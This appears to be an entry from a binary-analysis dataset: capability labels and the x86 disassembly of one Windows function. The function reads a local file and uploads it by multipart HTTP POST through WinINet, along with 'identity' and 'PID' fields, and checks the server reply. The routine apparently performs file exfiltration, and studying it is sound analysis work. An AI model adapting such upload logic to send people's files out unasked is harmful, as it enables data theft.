Function at 0x40a0e0
Capabilities:
Connect to http server
Create http request
Get file size
Read and send data from client to server
Read data from internet
Read file on windows
Receive data
Resolve function by parsing pe exports
Send data
Send http request

Disassembly:
push 0xffffffffffffffff
push 0x46b8a9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb4
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 9
xor eax, eax
lea edi, [esp + 0xa0]
mov dword [esp + 0x9c], ebp
push 0xc800
rep stosd dword es:[edi], eax
mov dword [esp + 0xd0], 1
call fcn.0045fe04
mov esi, dword [esp + 0xe8]
add esp, 4
mov ebx, eax
mov al, byte [esp + 0x13]
push ebp
lea ecx, [esp + 0x7c]
mov dword [esp + 0x30], ebx
mov dword [esp + 0x18], ebp
mov dword [esp + 0x60], ebp
mov dword [esp + 0x38], ebp
mov dword [esp + 0x64], ebp
mov dword [esp + 0x68], ebp
mov dword [esp + 0x34], 0xea60
mov byte [esp + 0x7c], al
call fcn.00404a20
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
lea ecx, [esp + 0x80]
call fcn.004046b0
lea ecx, [esp + 0x78]
push str..ico
lea edx, [esp + 0x90]
push ecx
push edx
mov byte [esp + 0xd8], 2
call fcn.00407b50
add esp, 0xc
mov ecx, dword [0x4717b8]
mov byte [esp + 0xcc], 3
push ecx
push ebp
push eax
lea ecx, [esp + 0x84]
call fcn.004044b0
push 1
lea ecx, [esp + 0x90]
mov byte [esp + 0xd0], 2
call fcn.00404a20
mov dl, byte [esp + 0x13]
push ebp
lea ecx, [esp + 0x50]
mov byte [esp + 0x50], dl
call fcn.00404a20
mov edi, str._____________________________40099aabb3793
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._____________________________40099aabb3793
lea ecx, [esp + 0x54]
call fcn.004046b0
mov al, byte [esp + 0x13]
mov byte [esp + 0xcc], 4
mov byte [esp + 0x68], al
push ebp
lea ecx, [esp + 0x6c]
call fcn.00404a20
mov edi, str.Content_Type:_multipart_form_data__boundary
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.Content_Type:_multipart_form_data__boundary
lea ecx, [esp + 0x70]
call fcn.004046b0
mov ecx, dword [0x4717b8]
lea edx, [esp + 0x4c]
push ecx
push ebp
push edx
lea ecx, [esp + 0x74]
mov byte [esp + 0xd8], 5
call fcn.00404310
mov edi, 0x4896dc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4896dc
lea ecx, [esp + 0x70]
call fcn.004043f0
mov al, byte [esp + 0x13]
push ebp
lea ecx, [esp + 0x3c]
mov byte [esp + 0x3c], al
call fcn.00404a20
mov edi, 0x4896d8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4896d8
lea ecx, [esp + 0x40]
call fcn.004046b0
mov ecx, dword [0x4717b8]
lea edx, [esp + 0x4c]
push ecx
push ebp
push edx
lea ecx, [esp + 0x44]
mov byte [esp + 0xd8], 6
call fcn.00404310
mov edi, str._r_nContent_Disposition:_form_data__filename_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_nContent_Disposition:_form_data__filename_
lea ecx, [esp + 0x40]
call fcn.004043f0
mov eax, dword [0x4717b8]
lea ecx, [esp + 0x78]
push eax
push ebp
push ecx
lea ecx, [esp + 0x44]
call fcn.00404310
mov edi, str.____name_upload_data_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.____name_upload_data_
lea ecx, [esp + 0x40]
call fcn.004043f0
mov edi, str.__r_nContent_Type:_text_ml_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.__r_nContent_Type:_text_ml_r_n_r_n
lea ecx, [esp + 0x40]
call fcn.004043f0
mov dl, byte [esp + 0x13]
push ebp
lea ecx, [esp + 0x1c]
mov byte [esp + 0x1c], dl
call fcn.00404a20
mov edi, 0x4896dc
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
lea ecx, [esp + 0x1c]
push ebp
call fcn.00405bc0
test al, al
je 0x40a391
mov edi, dword [esp + 0x1c]
mov ecx, ebp
mov eax, ecx
mov esi, 0x4896dc
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
call fcn.00405ba0
mov edi, 0x4896d8
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xcc], 7
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4896d8
lea ecx, [esp + 0x20]
call fcn.004043f0
mov ecx, dword [0x4717b8]
lea edx, [esp + 0x4c]
push ecx
push 0
push edx
lea ecx, [esp + 0x24]
call fcn.00404310
mov edi, str._r_nContent_Disposition:_form_data__name_identity_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_nContent_Disposition:_form_data__name_identity_
lea ecx, [esp + 0x20]
call fcn.004043f0
mov edi, str._r_n_r_n
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_n_r_n
lea ecx, [esp + 0x20]
call fcn.004043f0
mov edx, dword [esp + 0xe4]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp + 0x20]
call fcn.004043f0
mov edi, 0x4896dc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4896dc
lea ecx, [esp + 0x20]
call fcn.004043f0
mov edi, 0x4896d8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4896d8
lea ecx, [esp + 0x20]
call fcn.004043f0
mov eax, dword [0x4717b8]
lea ecx, [esp + 0x4c]
push eax
push 0
push ecx
lea ecx, [esp + 0x24]
call fcn.00404310
mov edi, str._r_nContent_Disposition:_form_data__name_PID_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_nContent_Disposition:_form_data__name_PID_
lea ecx, [esp + 0x20]
call fcn.004043f0
mov edi, str._r_n_r_n
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_n_r_n
lea ecx, [esp + 0x20]
call fcn.004043f0
mov edi, dword [esp + 0xe4]
or ecx, 0xffffffff
xor eax, eax
mov esi, edi
repne scasb al, byte es:[edi]
mov edx, dword [0x4717b8]
not ecx
dec ecx
mov ebp, ecx
mov ecx, dword [esp + 0x20]
sub edx, ecx
cmp edx, ebp
ja 0x40a4e0
call fcn.0044c49d
test ebp, ebp
jbe 0x40a524
mov eax, dword [esp + 0x20]
push 0
lea ecx, [esp + 0x1c]
lea ebx, [eax + ebp]
push ebx
call fcn.00405bc0
test al, al
je 0x40a520
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push ebx
lea edi, [edx + ecx]
mov ecx, ebp
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
call fcn.00405ba0
mov ebx, dword [esp + 0x2c]
mov edi, str._r_n__
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
mov ecx, dword [0x4717b8]
sub ecx, edx
cmp ecx, esi
ja 0x40a54a
call fcn.0044c49d
test esi, esi
jbe 0x40a58f
mov edx, dword [esp + 0x20]
push 0
lea ecx, [esp + 0x1c]
lea ebp, [edx + esi]
push ebp
call fcn.00405bc0
test al, al
je 0x40a58f
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
push ebp
lea edi, [ecx + eax]
mov ecx, esi
mov edx, ecx
mov esi, str._r_n__
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
call fcn.00405ba0
mov eax, dword [0x4717b8]
lea ecx, [esp + 0x4c]
push eax
push 0
push ecx
lea ecx, [esp + 0x24]
call fcn.00404310
mov edi, str.___r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x4717b8]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
mov ecx, dword [esp + 0x20]
sub edx, ecx
cmp edx, esi
ja 0x40a5cb
call fcn.0044c49d
xor edi, edi
cmp esi, edi
jbe 0x40a613
mov eax, dword [esp + 0x20]
push edi
lea ecx, [esp + 0x1c]
lea ebp, [eax + esi]
push ebp
call fcn.00405bc0
test al, al
je 0x40a613
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push ebp
lea edi, [edx + ecx]
mov ecx, esi
mov eax, ecx
mov esi, str.___r_n
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
call fcn.00405ba0
xor edi, edi
push edi
push edi
push edi
push 1
push str.HttpSendRequest
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, edi
mov dword [esp + 0x2c], eax
je 0x40a8fd
mov ecx, dword [esp + 0xe0]
mov edx, dword [esp + 0xd4]
push 1
push edi
push 3
push edi
push edi
push ecx
push edx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
cmp eax, edi
mov dword [esp + 0x88], eax
jne 0x40a661
mov dword [esp + 0x14], edi
jmp 0x40a8c8
mov ecx, dword [esp + 0xd8]
push edi
push 0x4000000
push edi
push edi
push edi
push ecx
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
xor esi, esi
cmp edi, esi
mov dword [esp + 0x5c], edi
jne 0x40a693
mov dword [esp + 0x14], esi
jmp 0x40a8c6
mov edx, dword [esp + 0xdc]
push esi
push 0x80
push 3
push esi
push 1
push SysReAllocString
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x34], ebp
jne 0x40a6c5
mov dword [esp + 0x14], esi
jmp 0x40a8c6
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionA]
lea eax, [esp + 0x30]
push 4
push eax
push 2
push edi
call esi
lea ecx, [esp + 0x30]
push 4
push ecx
push 5
push edi
call esi
lea edx, [esp + 0x30]
push 4
push edx
push 7
push edi
call esi
mov eax, dword [esp + 0x6c]
xor esi, esi
cmp eax, esi
jne 0x40a6fe
mov eax, 0x4717b4
mov ecx, dword [esp + 0x70]
push 0x20000000
push ecx
push eax
push edi
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
test eax, eax
jne 0x40a723
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x14], esi
jmp 0x40a8c6
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x40]
add ecx, edx
push esi
push 8
lea edx, [esp + 0xa4]
push esi
add ecx, eax
push edx
push edi
mov dword [esp + 0xb0], 0x28
mov dword [esp + 0xcc], ecx
call dword [sym.imp.WININET.dll_HttpSendRequestExA]
test eax, eax
jne 0x40a76f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x14], esi
jmp 0x40a8c6
mov esi, dword [esp + 0x64]
inc esi
cmp esi, 1
mov dword [esp + 0x64], esi
jne 0x40a7b5
mov eax, dword [esp + 0x40]
cmp eax, 0xc800
jbe 0x40a78d
mov eax, 0xc7ff
mov ecx, eax
mov eax, dword [esp + 0x3c]
test eax, eax
mov dword [esp + 0x28], ecx
jne 0x40a7a0
mov eax, 0x4717b4
push ecx
push eax
push ebx
call fcn.0043cf90
mov eax, dword [esp + 0x34]
add esp, 0xc
mov byte [eax + ebx], 0
jmp 0x40a7cd
lea ecx, [esp + 0x28]
push 0
push ecx
push 0xc800
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40a814
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x48]
push edx
push eax
push ebx
push edi
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x40a80e
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x60]
mov eax, dword [esp + 0x28]
add edx, ecx
cmp eax, 0xc800
mov dword [esp + 0x60], edx
jae 0x40a801
cmp esi, 1
ja 0x40a821
cmp esi, 0x7d0
ja 0x40a821
jmp 0x40a76f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x14], 0
jmp 0x40a8c6
mov ecx, dword [esp + 0x20]
cmp ecx, 0xc800
jbe 0x40a832
mov ecx, 0xc7ff
mov eax, dword [esp + 0x1c]
xor esi, esi
cmp eax, esi
mov dword [esp + 0x28], ecx
jne 0x40a845
mov eax, 0x4717b4
push ecx
push eax
push ebx
call fcn.0043cf90
mov edx, dword [esp + 0x34]
add esp, 0xc
lea eax, [esp + 0x48]
mov byte [edx + ebx], 0
mov ecx, dword [esp + 0x28]
push eax
push ecx
push ebx
push edi
call dword [sym.imp.WININET.dll_InternetWriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 8
push esi
push edi
mov dword [esp + 0x44], esi
call dword [sym.imp.WININET.dll_HttpEndRequestA]
test eax, eax
jne 0x40a88a
mov dword [esp + 0x14], esi
jmp 0x40a8c6
lea edx, [esp + 0x28]
push edx
push 0xff
push ebx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x40a8a6
mov dword [esp + 0x14], esi
jmp 0x40a8c6
mov eax, dword [esp + 0x28]
push str.UW10_200:
push ebx
mov byte [eax + ebx], 0
call fcn.00448080
add esp, 8
neg eax
sbb eax, eax
neg eax
mov dword [esp + 0x14], eax
xor edi, edi
mov ecx, dword [esp + 0x2c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ecx
call esi
mov eax, dword [esp + 0x5c]
cmp eax, edi
je 0x40a8e0
push eax
call esi
mov eax, dword [esp + 0x88]
cmp eax, edi
je 0x40a8ee
push eax
call esi
mov eax, dword [esp + 0x34]
cmp eax, edi
je 0x40a8fd
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, edi
je 0x40a90a
push ebx
call fcn.0045fe2d
add esp, 4
mov eax, dword [esp + 0x1c]
cmp eax, edi
je 0x40a92f
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x40a926
cmp al, 0xff
je 0x40a926
dec al
mov byte [ecx], al
jmp 0x40a92f
push ecx
call fcn.0045fe2d
add esp, 4
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x1c], edi
cmp eax, edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edi
je 0x40a960
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x40a957
cmp al, 0xff
je 0x40a957
dec al
mov byte [ecx], al
jmp 0x40a960
push ecx
call fcn.0045fe2d
add esp, 4
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x3c], edi
cmp eax, edi
mov dword [esp + 0x40], edi
mov dword [esp + 0x44], edi
je 0x40a991
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x40a988
cmp al, 0xff
je 0x40a988
dec al
mov byte [ecx], al
jmp 0x40a991
push ecx
call fcn.0045fe2d
add esp, 4
mov eax, dword [esp + 0x50]
mov dword [esp + 0x6c], edi
cmp eax, edi
mov dword [esp + 0x70], edi
mov dword [esp + 0x74], edi
je 0x40a9c2
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x40a9b9
cmp al, 0xff
je 0x40a9b9
dec al
mov byte [ecx], al
jmp 0x40a9c2
push ecx
call fcn.0045fe2d
add esp, 4
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x50], edi
cmp eax, edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], edi
je 0x40a9f3
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x40a9ea
cmp al, 0xff
je 0x40a9ea
dec al
mov byte [ecx], al
jmp 0x40a9f3
push ecx
call fcn.0045fe2d
add esp, 4
lea ecx, [esp + 0xd4]
mov dword [esp + 0x7c], edi
mov dword [esp + 0x80], edi
mov dword [esp + 0x84], edi
mov byte [esp + 0xcc], 0
call fcn.004600c3
lea ecx, [esp + 0xe4]
mov dword [esp + 0xcc], 0xffffffff
call fcn.004600c3
mov ecx, dword [esp + 0xc4]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0xc0
ret 0x14